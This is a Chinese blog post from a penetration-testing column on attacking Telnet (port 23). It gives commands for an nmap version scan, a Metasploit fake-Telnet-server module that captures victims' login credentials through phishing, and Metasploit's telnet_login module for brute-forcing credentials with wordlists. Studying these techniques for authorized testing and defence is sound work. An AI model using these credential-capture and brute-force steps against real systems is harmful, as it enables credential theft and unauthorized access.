端口渗透—23端口Telnet

最新推荐文章于 2024-08-31 14:37:05 发布

Thgilil

最新推荐文章于 2024-08-31 14:37:05 发布

阅读量5.5k

点赞数 1

分类专栏：渗透测试文章标签：网络安全

本文链接：https://blog.csdn.net/negnegil/article/details/120315162

版权

渗透测试专栏收录该内容

16 篇文章 6 订阅

订阅专栏

Telnet是一种默认不加密的不安全协议，可以通过它连接到本地网络中的其他系统。

Telnet远程登录

telnet 192.168.0.124

获取Telnet服务版本

 nmap -sV -p23 <ip>

在这里插入图片描述

MITM:远程登录欺骗

通过metasploit的 auxiliary/server/capture/telnet模块在本机上设置一个虚假的telnet服务，通过钓鱼使其登录此telnet服务，一旦其尝试登录此虚假的telnet服务，我们就可以获取到他的登录凭证。这种和钓鱼有异曲同工之妙

use auxiliary/server/capture/telnet
set srvhost 192.168.0.109
set banner Hello World      ##登录telnet服务是的提示
exploit

在这里插入图片描述

我们模拟受害者使用正确的凭证登录
在这里插入图片描述

受害者登录错误，但我们却获取到了他的登录凭证
在这里插入图片描述

暴力破解登录凭证

use auxiliary/scanner/telnet/telnet_login 
msf auxiliary(telnet_login) > set rhosts 192.168.0.124 
msf auxiliary(telnet_login) > set user_file /root/user.txt 
msf auxiliary(telnet_login) > set pass_file /root/pass.txt 
msf auxiliary(telnet_login) > set stop_on_success true 
msf auxiliary(telnet_login) > exploit